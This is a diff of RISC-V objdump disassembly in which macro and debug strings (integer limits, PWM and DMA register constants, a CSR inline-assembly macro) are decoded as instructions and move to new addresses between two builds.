+    6f02:	7361                	lui	t1,0xffff8
+    6f04:	206d                	jal	6fae <__stack_size+0x67ae>
+    6f06:	6f76                	flw	ft10,92(sp)
+    6f08:	616c                	flw	fa1,68(a0)
+    6f0a:	6974                	flw	fa3,84(a0)
+    6f0c:	656c                	flw	fa1,76(a0)
+    6f0e:	2820                	fld	fs0,80(s0)
+    6f10:	6322                	flw	ft6,8(sp)
+    6f12:	77727273          	csrrci	tp,0x777,4
+    6f16:	2069                	jal	6fa0 <__stack_size+0x67a0>
+    6f18:	3025                	jal	6740 <__stack_size+0x5f40>
+    6f1a:	202c                	fld	fa1,64(s0)
+    6f1c:	2022                	fld	ft0,8(sp)
+    6f1e:	72736323          	0x72736323
+    6f22:	2220                	fld	fs0,64(a2)
+    6f24:	202c                	fld	fa1,64(s0)
+    6f26:	3125                	jal	6b4e <__stack_size+0x634e>
+    6f28:	2022                	fld	ft0,8(sp)
+    6f2a:	203a                	fld	ft0,392(sp)
+    6f2c:	3d22                	fld	fs10,40(sp)
+    6f2e:	2272                	fld	ft4,280(sp)
+    6f30:	7228                	flw	fa0,96(a2)
+    6f32:	2964                	fld	fs1,208(a0)
+    6f34:	3a20                	fld	fs0,112(a2)
+    6f36:	2220                	fld	fs0,64(a2)
+    6f38:	7228224b          	fnmsub.d	ft4,fa6,ft2,fa4,rdn
+    6f3c:	3b292973          	csrrs	s2,pmpaddr2,s2
+    6f40:	6520                	flw	fs0,72(a0)
+    6f42:	736c                	flw	fa1,100(a4)
+    6f44:	2065                	jal	6fec <__stack_size+0x67ec>
+    6f46:	7361                	lui	t1,0xffff8
+    6f48:	206d                	jal	6ff2 <__stack_size+0x67f2>
+    6f4a:	6f76                	flw	ft10,92(sp)
+    6f4c:	616c                	flw	fa1,68(a0)
+    6f4e:	6974                	flw	fa3,84(a0)
+    6f50:	656c                	flw	fa1,76(a0)
+    6f52:	2820                	fld	fs0,80(s0)
+    6f54:	6322                	flw	ft6,8(sp)
+    6f56:	77727273          	csrrci	tp,0x777,4
+    6f5a:	2520                	fld	fs0,72(a0)
+    6f5c:	2c30                	fld	fa2,88(s0)
+    6f5e:	2220                	fld	fs0,64(a2)
+    6f60:	2320                	fld	fs0,64(a4)
+    6f62:	20727363          	bgeu	tp,t2,7168 <__stack_size+0x6968>
+    6f66:	2c22                	fld	fs8,8(sp)
+    6f68:	2520                	fld	fs0,72(a0)
+    6f6a:	2231                	jal	7076 <__stack_size+0x6876>
+    6f6c:	3a20                	fld	fs0,112(a2)
+    6f6e:	2220                	fld	fs0,64(a2)
+    6f70:	723d                	lui	tp,0xfffef
+    6f72:	2822                	fld	fa6,8(sp)
+    6f74:	6472                	flw	fs0,28(sp)
+    6f76:	2029                	jal	6f80 <__stack_size+0x6780>
+    6f78:	203a                	fld	ft0,392(sp)
+    6f7a:	7222                	flw	ft4,40(sp)
+    6f7c:	2822                	fld	fa6,8(sp)
+    6f7e:	7372                	flw	ft6,60(sp)
+    6f80:	2929                	jal	739a <__stack_size+0x6b9a>
+    6f82:	6472203b          	0x6472203b
+    6f86:	297d203b          	0x297d203b
+    6f8a:	4900                	lw	s0,16(a0)
+    6f8c:	544e                	lw	s0,240(sp)
+    6f8e:	4c5f 4145 5453      	0x545341454c5f
+    6f94:	5f38                	lw	a4,120(a4)
+    6f96:	494d                	li	s2,19
+    6f98:	004e                	c.slli	zero,0x13
+    6f9a:	5f5f 4c46 3154      	0x31544c465f5f
+    6fa0:	3832                	fld	fa6,296(sp)
+    6fa2:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    6fa8:	3120                	fld	fs0,96(a0)
+    6faa:	312e                	fld	ft2,232(sp)
+    6fac:	3938                	fld	fa4,112(a0)
+    6fae:	34313337          	lui	t1,0x34313
+    6fb2:	3539                	jal	6dc0 <__stack_size+0x65c0>
+    6fb4:	32373533          	0x32373533
+    6fb8:	36373133          	0x36373133
+    6fbc:	3035                	jal	67e8 <__stack_size+0x5fe8>
+    6fbe:	3538                	fld	fa4,104(a0)
+    6fc0:	33393537          	lui	a0,0x33393
+    6fc4:	3632                	fld	fa2,296(sp)
+    6fc6:	3236                	fld	ft4,360(sp)
+    6fc8:	3038                	fld	fa4,96(s0)
+    6fca:	3730                	fld	fa2,104(a4)
+    6fcc:	3230                	fld	fa2,96(a2)
+    6fce:	2b65                	jal	7586 <__stack_size+0x6d86>
+    6fd0:	3934                	fld	fa3,112(a0)
+    6fd2:	31463233          	0x31463233
+    6fd6:	3832                	fld	fa6,296(sp)
+    6fd8:	4800                	lw	s0,16(s0)
+    6fda:	5641                	li	a2,-16
+    6fdc:	5f45                	li	t5,-15
+    6fde:	4e49                	li	t3,18
+    6fe0:	5449                	li	s0,-14
+    6fe2:	4946                	lw	s2,80(sp)
+    6fe4:	494e                	lw	s2,208(sp)
+    6fe6:	415f 5252 5941      	0x59415252415f
+    6fec:	3120                	fld	fs0,96(a0)
+    6fee:	4600                	lw	s0,8(a2)
+    6ff0:	5341                	li	t1,-16
+    6ff2:	4e59                	li	t3,22
+    6ff4:	465f2043          	fmadd.q	ft0,ft10,ft5,fs0,rdn
+    6ff8:	5341                	li	t1,-16
+    6ffa:	4e59                	li	t3,22
+    6ffc:	535f0043          	fmadd.d	ft0,ft10,fs5,fa0,rne
+    7000:	504f5f43          	fmadd.s	ft10,ft10,ft4,fa0,unknown
+    7004:	4e45                	li	t3,17
+    7006:	4d5f 5841 3420      	0x342058414d5f
+    700c:	5f00                	lw	s0,56(a4)
+    700e:	5f5f 6e69 3874      	0x38746e695f5f
+    7014:	745f 645f 6665      	0x6665645f745f
+    701a:	6e69                	lui	t3,0x1a
+    701c:	6465                	lui	s0,0x19
     701e:	3120                	fld	fs0,96(a0)
     7020:	5f00                	lw	s0,56(a4)
-    7022:	6e5f 6565 5f64      	0x5f6465656e5f
-    7028:	554e                	lw	a0,240(sp)
-    702a:	4c4c                	lw	a1,28(s0)
-    702c:	0020                	addi	s0,sp,8
-    702e:	5750                	lw	a2,44(a4)
-    7030:	5f4d                	li	t5,-13
-    7032:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    7036:	53454e4f          	fnmadd.d	ft8,fa0,fs4,fa0,rmm
-    703a:	4f48                	lw	a0,28(a4)
-    703c:	2054                	fld	fa3,128(s0)
-    703e:	7830                	flw	fa2,112(s0)
-    7040:	3030                	fld	fa2,96(s0)
-    7042:	3030                	fld	fa2,96(s0)
-    7044:	3032                	fld	ft0,296(sp)
-    7046:	3030                	fld	fa2,96(s0)
-    7048:	4c00                	lw	s0,24(s0)
-    704a:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
-    704e:	5845                	li	a6,-15
-    7050:	3020                	fld	fs0,96(s0)
-    7052:	3078                	fld	fa4,224(s0)
-    7054:	0032                	c.slli	zero,0xc
-    7056:	535f 5f43 3756      	0x37565f43535f
-    705c:	495f 504c 3233      	0x3233504c495f
-    7062:	4f5f 4646 4942      	0x494246464f5f
-    7068:	33392047          	fmsub.d	ft0,fs2,fs3,ft6,rdn
-    706c:	4600                	lw	s0,8(a2)
-    706e:	445f 5055 4446      	0x44465055445f
-    7074:	3020                	fld	fs0,96(s0)
-    7076:	5f00                	lw	s0,56(a4)
-    7078:	4e49                	li	t3,18
-    707a:	5054                	lw	a3,36(s0)
-    707c:	5254                	lw	a3,36(a2)
-    707e:	545f 445f 4345      	0x4345445f545f
-    7084:	414c                	lw	a1,4(a0)
-    7086:	4552                	lw	a0,20(sp)
-    7088:	2044                	fld	fs1,128(s0)
-    708a:	7300                	flw	fs0,32(a4)
-    708c:	7274                	flw	fa3,100(a2)
-    708e:	656c                	flw	fa1,76(a0)
-    7090:	006e                	c.slli	zero,0x1b
-    7092:	5f5f 4955 544e      	0x544e49555f5f
-    7098:	4c5f 4145 5453      	0x545341454c5f
-    709e:	4d5f3233          	0x4d5f3233
-    70a2:	5841                	li	a6,-16
-    70a4:	5f5f 3020 6678      	0x667830205f5f
-    70aa:	6666                	flw	fa2,88(sp)
-    70ac:	6666                	flw	fa2,88(sp)
-    70ae:	6666                	flw	fa2,88(sp)
-    70b0:	5566                	lw	a0,120(sp)
-    70b2:	004c                	addi	a1,sp,4
-    70b4:	554e                	lw	a0,240(sp)
-    70b6:	4c4c                	lw	a1,28(s0)
-    70b8:	2820                	fld	fs0,80(s0)
-    70ba:	7628                	flw	fa0,104(a2)
-    70bc:	2064696f          	jal	s2,4d2c2 <__stack_size+0x4cac2>
-    70c0:	292a                	fld	fs2,136(sp)
-    70c2:	2930                	fld	fa2,80(a0)
-    70c4:	5f00                	lw	s0,56(a4)
-    70c6:	4954                	lw	a3,20(a0)
-    70c8:	454d                	li	a0,19
-    70ca:	5f52                	lw	t5,52(sp)
-    70cc:	5f54                	lw	a3,60(a4)
-    70ce:	4544                	lw	s1,12(a0)
-    70d0:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    70d4:	4445                	li	s0,17
-    70d6:	0020                	addi	s0,sp,8
-    70d8:	5f5f 524f 4544      	0x4544524f5f5f
-    70de:	5f52                	lw	t5,52(sp)
-    70e0:	4942                	lw	s2,16(sp)
-    70e2:	4e455f47          	fmsub.q	ft10,fa0,ft4,fs1,unknown
-    70e6:	4944                	lw	s1,20(a0)
-    70e8:	4e41                	li	t3,16
-    70ea:	5f5f 3420 3233      	0x323334205f5f
-    70f0:	0031                	c.nop	12
-    70f2:	7562                	flw	fa0,56(sp)
-    70f4:	6666                	flw	fa2,88(sp)
-    70f6:	7265                	lui	tp,0xffff9
-    70f8:	5f00                	lw	s0,56(a4)
-    70fa:	545f4353          	0x545f4353
-    70fe:	5248                	lw	a0,36(a2)
-    7100:	4145                	li	sp,17
-    7102:	5f44                	lw	s1,60(a4)
-    7104:	4f52                	lw	t5,20(sp)
-    7106:	5542                	lw	a0,48(sp)
-    7108:	505f5453          	0x505f5453
-    710c:	4952                	lw	s2,20(sp)
-    710e:	52505f4f          	fnmadd.d	ft10,ft0,ft5,fa0,unknown
-    7112:	4345544f          	fnmadd.d	fs0,fa0,fs4,fs0,unknown
-    7116:	2054                	fld	fa3,128(s0)
-    7118:	3231                	jal	6a24 <__stack_size+0x6224>
-    711a:	5f5f0033          	0x5f5f0033
-    711e:	4c46                	lw	s8,80(sp)
-    7120:	3654                	fld	fa3,168(a2)
-    7122:	5834                	lw	a3,112(s0)
-    7124:	485f 5341 445f      	0x445f5341485f
-    712a:	4e45                	li	t3,17
-    712c:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
-    7130:	205f 0031 4d5f      	0x4d5f0031205f
-    7136:	4341                	li	t1,16
-    7138:	4948                	lw	a0,20(a0)
-    713a:	454e                	lw	a0,208(sp)
-    713c:	5f5f 4544 4146      	0x414645445f5f
-    7142:	4c55                	li	s8,21
-    7144:	5f54                	lw	a3,60(a4)
-    7146:	5954                	lw	a3,52(a0)
-    7148:	4550                	lw	a2,12(a0)
-    714a:	20485f53          	0x20485f53
-    714e:	5f00                	lw	s0,56(a4)
-    7150:	555f 4e49 5f54      	0x5f544e49555f
-    7156:	4146                	lw	sp,80(sp)
-    7158:	32335453          	0x32335453
-    715c:	545f 5059 5f45      	0x5f455059545f
-    7162:	205f 6e75 6973      	0x69736e75205f
-    7168:	64656e67          	0x64656e67
-    716c:	6920                	flw	fs0,80(a0)
-    716e:	746e                	flw	fs0,248(sp)
-    7170:	5f00                	lw	s0,56(a4)
-    7172:	4446                	lw	s0,80(sp)
-    7174:	4645                	li	a2,17
-    7176:	5245                	li	tp,-15
-    7178:	3020                	fld	fs0,96(s0)
-    717a:	3078                	fld	fa4,224(s0)
-    717c:	3230                	fld	fa2,96(a2)
-    717e:	0030                	addi	a2,sp,8
-    7180:	5f5f 4953 5f47      	0x5f4749535f5f
-    7186:	5441                	li	s0,-16
-    7188:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    718c:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    7192:	2820                	fld	fs0,80(s0)
-    7194:	5f2d                	li	t5,-21
-    7196:	535f 4749 415f      	0x415f4749535f
-    719c:	4f54                	lw	a3,28(a4)
-    719e:	494d                	li	s2,19
-    71a0:	414d5f43          	fmadd.s	ft10,fs10,fs4,fs0,unknown
+    7022:	535f 4749 415f      	0x415f4749535f
+    7028:	4f54                	lw	a3,28(a4)
+    702a:	494d                	li	s2,19
+    702c:	49575f43          	fmadd.s	ft10,fa4,fs5,fs1,unknown
+    7030:	5444                	lw	s1,44(s0)
+    7032:	5f48                	lw	a0,60(a4)
+    7034:	205f 3233 4300      	0x43003233205f
+    703a:	4d5f5253          	0x4d5f5253
+    703e:	5654                	lw	a3,44(a2)
+    7040:	4345                	li	t1,17
+    7042:	3220                	fld	fs0,96(a2)
+    7044:	5f00                	lw	s0,56(a4)
+    7046:	505f4353          	0x505f4353
+    704a:	4952                	lw	s2,20(sp)
+    704c:	5449524f          	0x5449524f
+    7050:	5a49                	li	s4,-14
+    7052:	4445                	li	s0,17
+    7054:	495f 204f 3832      	0x3832204f495f
+    705a:	5f00                	lw	s0,56(a4)
+    705c:	725f 7369 7663      	0x76637369725f
+    7062:	3120                	fld	fs0,96(a0)
+    7064:	4300                	lw	s0,0(a4)
+    7066:	494c                	lw	a1,20(a0)
+    7068:	544e                	lw	s0,240(sp)
+    706a:	525f 4745 6f28      	0x6f284745525f
+    7070:	6666                	flw	fa2,88(sp)
+    7072:	29746573          	csrrsi	a0,0x297,8
+    7076:	5f20                	lw	s0,120(a4)
+    7078:	4552                	lw	a0,20(sp)
+    707a:	28343647          	fmsub.s	fa2,fs0,ft3,ft5,rup
+    707e:	4e494c43          	fmadd.q	fs8,fs2,ft4,fs1,rmm
+    7082:	5f54                	lw	a3,60(a4)
+    7084:	4142                	lw	sp,16(sp)
+    7086:	202c4553          	0x202c4553
+    708a:	7366666f          	jal	a2,6d7c0 <__stack_size+0x6cfc0>
+    708e:	7465                	lui	s0,0xffff9
+    7090:	0029                	c.nop	10
+    7092:	5f5f 5342 5f44      	0x5f4453425f5f
+    7098:	4956                	lw	s2,84(sp)
+    709a:	4c424953          	0x4c424953
+    709e:	2045                	jal	713e <__stack_size+0x693e>
+    70a0:	0031                	c.nop	12
+    70a2:	5f5f 656e 6465      	0x6465656e5f5f
+    70a8:	4e5f 4c55 204c      	0x204c4c554e5f
+    70ae:	5000                	lw	s0,32(s0)
+    70b0:	435f4d57          	0x435f4d57
+    70b4:	4746                	lw	a4,80(sp)
+    70b6:	4f5f 454e 4853      	0x4853454e4f5f
+    70bc:	3020544f          	fnmadd.s	fs0,ft0,ft2,ft6,unknown
+    70c0:	3078                	fld	fa4,224(s0)
+    70c2:	3030                	fld	fa2,96(s0)
+    70c4:	3230                	fld	fa2,96(a2)
+    70c6:	3030                	fld	fa2,96(s0)
+    70c8:	0030                	addi	a2,sp,8
+    70ca:	4f4c                	lw	a1,28(a4)
+    70cc:	455f4b43          	0x455f4b43
+    70d0:	2058                	fld	fa4,128(s0)
+    70d2:	7830                	flw	fa2,112(s0)
+    70d4:	3230                	fld	fa2,96(a2)
+    70d6:	5f00                	lw	s0,56(a4)
+    70d8:	565f4353          	0x565f4353
+    70dc:	4c495f37          	lui	t5,0x4c495
+    70e0:	3350                	fld	fa2,160(a4)
+    70e2:	5f32                	lw	t5,44(sp)
+    70e4:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
+    70e8:	4749                	li	a4,18
+    70ea:	3920                	fld	fs0,112(a0)
+    70ec:	5f460033          	0x5f460033
+    70f0:	5544                	lw	s1,44(a0)
+    70f2:	4650                	lw	a2,12(a2)
+    70f4:	2044                	fld	fs1,128(s0)
+    70f6:	0030                	addi	a2,sp,8
+    70f8:	495f 544e 5450      	0x5450544e495f
+    70fe:	5f52                	lw	t5,52(sp)
+    7100:	5f54                	lw	a3,60(a4)
+    7102:	4544                	lw	s1,12(a0)
+    7104:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    7108:	4445                	li	s0,17
+    710a:	0020                	addi	s0,sp,8
+    710c:	6c727473          	csrrci	s0,0x6c7,4
+    7110:	6e65                	lui	t3,0x19
+    7112:	5f00                	lw	s0,56(a4)
+    7114:	555f 4e49 5f54      	0x5f544e49555f
+    711a:	454c                	lw	a1,12(a0)
+    711c:	5341                	li	t1,-16
+    711e:	3354                	fld	fa3,160(a4)
+    7120:	5f32                	lw	t5,44(sp)
+    7122:	414d                	li	sp,19
+    7124:	5f58                	lw	a4,60(a4)
+    7126:	205f 7830 6666      	0x66667830205f
+    712c:	6666                	flw	fa2,88(sp)
+    712e:	6666                	flw	fa2,88(sp)
+    7130:	6666                	flw	fa2,88(sp)
+    7132:	4c55                	li	s8,21
+    7134:	4e00                	lw	s0,24(a2)
+    7136:	4c55                	li	s8,21
+    7138:	204c                	fld	fa1,128(s0)
+    713a:	2828                	fld	fa0,80(s0)
+    713c:	6f76                	flw	ft10,92(sp)
+    713e:	6469                	lui	s0,0x1a
+    7140:	2a20                	fld	fs0,80(a2)
+    7142:	3029                	jal	694c <__stack_size+0x614c>
+    7144:	0029                	c.nop	10
+    7146:	545f 4d49 5245      	0x52454d49545f
+    714c:	545f 445f 4345      	0x4345445f545f
+    7152:	414c                	lw	a1,4(a0)
+    7154:	4552                	lw	a0,20(sp)
+    7156:	2044                	fld	fs1,128(s0)
+    7158:	5f00                	lw	s0,56(a4)
+    715a:	4f5f 4452 5245      	0x524544524f5f
+    7160:	425f 4749 455f      	0x455f4749425f
+    7166:	444e                	lw	s0,208(sp)
+    7168:	4149                	li	sp,18
+    716a:	5f4e                	lw	t5,240(sp)
+    716c:	205f 3334 3132      	0x31323334205f
+    7172:	6200                	flw	fs0,0(a2)
+    7174:	6675                	lui	a2,0x1d
+    7176:	6566                	flw	fa0,88(sp)
+    7178:	0072                	c.slli	zero,0x1c
+    717a:	535f 5f43 4854      	0x48545f43535f
+    7180:	4552                	lw	a0,20(sp)
+    7182:	4441                	li	s0,16
+    7184:	525f 424f 5355      	0x5355424f525f
+    718a:	5f54                	lw	a3,60(a4)
+    718c:	5250                	lw	a2,36(a2)
+    718e:	4f49                	li	t5,18
+    7190:	505f 4f52 4554      	0x45544f52505f
+    7196:	31205443          	fmadd.s	fs0,ft0,fs2,ft6,unknown
+    719a:	3332                	fld	ft6,296(sp)
+    719c:	5f00                	lw	s0,56(a4)
+    719e:	465f 544c 3436      	0x3436544c465f
     71a4:	5f58                	lw	a4,60(a4)
-    71a6:	205f 202d 2931      	0x2931202d205f
-    71ac:	5f00                	lw	s0,56(a4)
-    71ae:	5f444947          	fmsub.q	fs2,fs0,fs4,fa1,rmm
-    71b2:	5f54                	lw	a3,60(a4)
-    71b4:	4544                	lw	s1,12(a0)
-    71b6:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    71ba:	4445                	li	s0,17
-    71bc:	0020                	addi	s0,sp,8
-    71be:	4e49                	li	t3,18
-    71c0:	5f54                	lw	a3,60(a4)
-    71c2:	454c                	lw	a1,12(a0)
-    71c4:	5341                	li	t1,-16
-    71c6:	3654                	fld	fa3,168(a2)
-    71c8:	5f34                	lw	a3,120(a4)
-    71ca:	494d                	li	s2,19
-    71cc:	204e                	fld	ft0,208(sp)
-    71ce:	2d28                	fld	fa0,88(a0)
-    71d0:	4e49                	li	t3,18
-    71d2:	5f54                	lw	a3,60(a4)
-    71d4:	454c                	lw	a1,12(a0)
-    71d6:	5341                	li	t1,-16
-    71d8:	3654                	fld	fa3,168(a2)
-    71da:	5f34                	lw	a3,120(a4)
-    71dc:	414d                	li	sp,19
-    71de:	2058                	fld	fa4,128(s0)
-    71e0:	202d                	jal	720a <__stack_size+0x6a0a>
-    71e2:	2931                	jal	75fe <__stack_size+0x6dfe>
-    71e4:	5300                	lw	s0,32(a4)
-    71e6:	495f 5346 434f      	0x434f5346495f
-    71ec:	495f204b          	fnmsub.s	ft0,ft10,fs5,fs1,rdn
-    71f0:	5346                	lw	t1,112(sp)
-    71f2:	004b434f          	fnmadd.s	ft6,fs6,ft4,ft0,rmm
-    71f6:	4d44                	lw	s1,28(a0)
-    71f8:	5f41                	li	t5,-16
-    71fa:	535f4843          	fmadd.d	fa6,ft10,fs5,fa0,rmm
-    71fe:	4154                	lw	a3,4(a0)
-    7200:	5554                	lw	a3,44(a0)
-    7202:	464f5f53          	0x464f5f53
-    7206:	2046                	fld	ft0,80(sp)
-    7208:	7830                	flw	fa2,112(s0)
-    720a:	5f003033          	0x5f003033
-    720e:	545f4353          	0x545f4353
-    7212:	4152                	lw	sp,20(sp)
-    7214:	555f4543          	0x555f4543
-    7218:	5f524553          	0x5f524553
-    721c:	5645                	li	a2,-15
-    721e:	4e45                	li	t3,17
-    7220:	5f54                	lw	a3,60(a4)
-    7222:	414d                	li	sp,19
-    7224:	2058                	fld	fa4,128(s0)
-    7226:	3039                	jal	6a34 <__stack_size+0x6234>
-    7228:	5f00                	lw	s0,56(a4)
-    722a:	675f 6e65 7265      	0x72656e65675f
-    7230:	6369                	lui	t1,0x1a
-    7232:	6528                	flw	fa0,72(a0)
-    7234:	7078                	flw	fa4,100(s0)
-    7236:	2c72                	fld	fs8,280(sp)
-    7238:	2c74                	fld	fa3,216(s0)
-    723a:	6579                	lui	a0,0x1e
-    723c:	6f6e2c73          	csrrs	s8,0x6f6,t3
-    7240:	2029                	jal	724a <__stack_size+0x6a4a>
-    7242:	475f 6e65 7265      	0x72656e65475f
-    7248:	6369                	lui	t1,0x1a
-    724a:	6528                	flw	fa0,72(a0)
-    724c:	7078                	flw	fa4,100(s0)
-    724e:	2c72                	fld	fs8,280(sp)
-    7250:	7420                	flw	fs0,104(s0)
-    7252:	203a                	fld	ft0,392(sp)
-    7254:	6579                	lui	a0,0x1e
-    7256:	64202c73          	csrr	s8,0x642
-    725a:	6665                	lui	a2,0x19
-    725c:	7561                	lui	a0,0xffff8
-    725e:	746c                	flw	fa1,108(s0)
-    7260:	203a                	fld	ft0,392(sp)
-    7262:	6f6e                	flw	ft10,216(sp)
+    71a6:	4148                	lw	a0,4(a0)
+    71a8:	45445f53          	0x45445f53
+    71ac:	4f4e                	lw	t5,208(sp)
+    71ae:	4d52                	lw	s10,20(sp)
+    71b0:	5f5f 3120 5f00      	0x5f0031205f5f
+    71b6:	414d                	li	sp,19
+    71b8:	4e494843          	fmadd.q	fa6,fs2,ft4,fs1,rmm
+    71bc:	5f45                	li	t5,-15
+    71be:	445f 4645 5541      	0x55414645445f
+    71c4:	544c                	lw	a1,44(s0)
+    71c6:	545f 5059 5345      	0x53455059545f
+    71cc:	485f 0020 5f5f      	0x5f5f0020485f
+    71d2:	4955                	li	s2,21
+    71d4:	544e                	lw	s0,240(sp)
+    71d6:	465f 5341 3354      	0x33545341465f
+    71dc:	5f32                	lw	t5,44(sp)
+    71de:	5954                	lw	a3,52(a0)
+    71e0:	4550                	lw	a2,12(a0)
+    71e2:	5f5f 7520 736e      	0x736e75205f5f
+    71e8:	6769                	lui	a4,0x1a
+    71ea:	656e                	flw	fa0,216(sp)
+    71ec:	2064                	fld	fs1,192(s0)
+    71ee:	6e69                	lui	t3,0x1a
+    71f0:	0074                	addi	a3,sp,12
+    71f2:	465f 4544 4546      	0x45464544465f
+    71f8:	2052                	fld	ft0,272(sp)
+    71fa:	7830                	flw	fa2,112(s0)
+    71fc:	3030                	fld	fa2,96(s0)
+    71fe:	3032                	fld	ft0,296(sp)
+    7200:	5f00                	lw	s0,56(a4)
+    7202:	535f 4749 415f      	0x415f4749535f
+    7208:	4f54                	lw	a3,28(a4)
+    720a:	494d                	li	s2,19
+    720c:	494d5f43          	fmadd.s	ft10,fs10,fs4,fs1,unknown
+    7210:	5f4e                	lw	t5,240(sp)
+    7212:	205f 2d28 5f5f      	0x5f5f2d28205f
+    7218:	5f474953          	0x5f474953
+    721c:	5441                	li	s0,-16
+    721e:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    7222:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    7228:	2d20                	fld	fs0,88(a0)
+    722a:	3120                	fld	fs0,96(a0)
+    722c:	0029                	c.nop	10
+    722e:	475f 4449 545f      	0x545f4449475f
+    7234:	445f 4345 414c      	0x414c4345445f
+    723a:	4552                	lw	a0,20(sp)
+    723c:	2044                	fld	fs1,128(s0)
+    723e:	4900                	lw	s0,16(a0)
+    7240:	544e                	lw	s0,240(sp)
+    7242:	4c5f 4145 5453      	0x545341454c5f
+    7248:	3436                	fld	fs0,360(sp)
+    724a:	4d5f 4e49 2820      	0x28204e494d5f
+    7250:	492d                	li	s2,11
+    7252:	544e                	lw	s0,240(sp)
+    7254:	4c5f 4145 5453      	0x545341454c5f
+    725a:	3436                	fld	fs0,360(sp)
+    725c:	4d5f 5841 2d20      	0x2d2058414d5f
+    7262:	3120                	fld	fs0,96(a0)
     7264:	0029                	c.nop	10
-    7266:	5450                	lw	a2,44(s0)
-    7268:	5248                	lw	a0,36(a2)
-    726a:	4145                	li	sp,17
-    726c:	5f44                	lw	s1,60(a4)
-    726e:	5845                	li	a6,-15
-    7270:	4c50                	lw	a2,28(s0)
-    7272:	4349                	li	t1,18
-    7274:	5449                	li	s0,-14
-    7276:	535f 4843 4445      	0x44454843535f
-    727c:	3220                	fld	fs0,96(a2)
-    727e:	5f00                	lw	s0,56(a4)
-    7280:	5446                	lw	s0,112(sp)
-    7282:	5552                	lw	a0,52(sp)
-    7284:	434e                	lw	t1,208(sp)
-    7286:	3020                	fld	fs0,96(s0)
-    7288:	3078                	fld	fa4,224(s0)
-    728a:	3034                	fld	fa3,96(s0)
+    7266:	46495f53          	0x46495f53
+    726a:	4b434f53          	0x4b434f53
+    726e:	5f20                	lw	s0,120(a4)
+    7270:	4649                	li	a2,18
+    7272:	4b434f53          	0x4b434f53
+    7276:	4400                	lw	s0,8(s0)
+    7278:	414d                	li	sp,19
+    727a:	435f 5f48 5453      	0x54535f48435f
+    7280:	5441                	li	s0,-16
+    7282:	5355                	li	t1,-11
+    7284:	4f5f 4646 3020      	0x302046464f5f
+    728a:	3378                	fld	fa4,224(a4)
     728c:	0030                	addi	a2,sp,8
-    728e:	5f5f 4c46 3354      	0x33544c465f5f
-    7294:	5832                	lw	a6,44(sp)
-    7296:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    729c:	3120                	fld	fs0,96(a0)
-    729e:	372e                	fld	fa4,232(sp)
-    72a0:	3739                	jal	71ae <__stack_size+0x69ae>
-    72a2:	3936                	fld	fs2,360(sp)
-    72a4:	34333133          	0x34333133
-    72a8:	3638                	fld	fa4,104(a2)
-    72aa:	3332                	fld	ft6,296(sp)
-    72ac:	3531                	jal	70b8 <__stack_size+0x68b8>
-    72ae:	31383037          	lui	zero,0x31383
-    72b2:	3534                	fld	fa3,104(a0)
-    72b4:	3732                	fld	fa4,296(sp)
-    72b6:	3234                	fld	fa3,96(a2)
-    72b8:	31333733          	0x31333733
-    72bc:	33343037          	lui	zero,0x33343
-    72c0:	3735                	jal	71ec <__stack_size+0x69ec>
-    72c2:	2b65                	jal	787a <__stack_size+0x707a>
-    72c4:	46383033          	0x46383033
-    72c8:	00783233          	sltu	tp,a6,t2
-    72cc:	5f5f 7570 6572      	0x657275705f5f
-    72d2:	2032                	fld	ft0,264(sp)
-    72d4:	5f5f 7461 7274      	0x727474615f5f
-    72da:	6269                	lui	tp,0x1a
-    72dc:	7475                	lui	s0,0xffffd
-    72de:	5f65                	li	t5,-7
-    72e0:	285f 5f28 635f      	0x635f5f28285f
-    72e6:	74736e6f          	jal	t3,3e22c <__stack_size+0x3da2c>
-    72ea:	5f5f 2929 5f00      	0x5f0029295f5f
-    72f0:	6e5f 6565 5f64      	0x5f6465656e5f
-    72f6:	61686377          	0x61686377
-    72fa:	5f72                	lw	t5,60(sp)
-    72fc:	0074                	addi	a3,sp,12
-    72fe:	5f5f 4c46 5f54      	0x5f544c465f5f
-    7304:	4544                	lw	s1,12(a0)
-    7306:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
-    730a:	5f4c                	lw	a1,60(a4)
-    730c:	4944                	lw	s1,20(a0)
-    730e:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    7312:	0039                	c.nop	14
-    7314:	4d44                	lw	s1,28(a0)
-    7316:	5f41                	li	t5,-16
-    7318:	4c525443          	0x4c525443
-    731c:	4f5f 4646 3020      	0x302046464f5f
-    7322:	3278                	fld	fa4,224(a2)
-    7324:	0030                	addi	a2,sp,8
-    7326:	545f 505f 5254      	0x5254505f545f
-    732c:	4944                	lw	s1,20(a0)
-    732e:	4646                	lw	a2,80(sp)
-    7330:	0020                	addi	s0,sp,8
-    7332:	5f5f 4c46 3654      	0x36544c465f5f
-    7338:	5834                	lw	a3,112(s0)
-    733a:	455f 5350 4c49      	0x4c495350455f
-    7340:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
-    7344:	3120                	fld	fs0,96(a0)
-    7346:	392e                	fld	fs2,232(sp)
-    7348:	3532                	fld	fa0,296(sp)
-    734a:	3239                	jal	6c58 <__stack_size+0x6458>
-    734c:	3939                	jal	6f6a <__stack_size+0x676a>
-    734e:	3434                	fld	fa3,104(s0)
-    7350:	32373833          	0x32373833
-    7354:	35383533          	0x35383533
-    7358:	35353033          	0x35353033
-    735c:	3739                	jal	726a <__stack_size+0x6a6a>
-    735e:	32343937          	lui	s2,0x32343
-    7362:	3835                	jal	6b9e <__stack_size+0x639e>
-    7364:	3934                	fld	fa3,112(a0)
-    7366:	3732                	fld	fa4,296(sp)
-    7368:	2d653233          	0x2d653233
-    736c:	36463433          	0x36463433
-    7370:	7834                	flw	fa3,112(s0)
-    7372:	5f00                	lw	s0,56(a4)
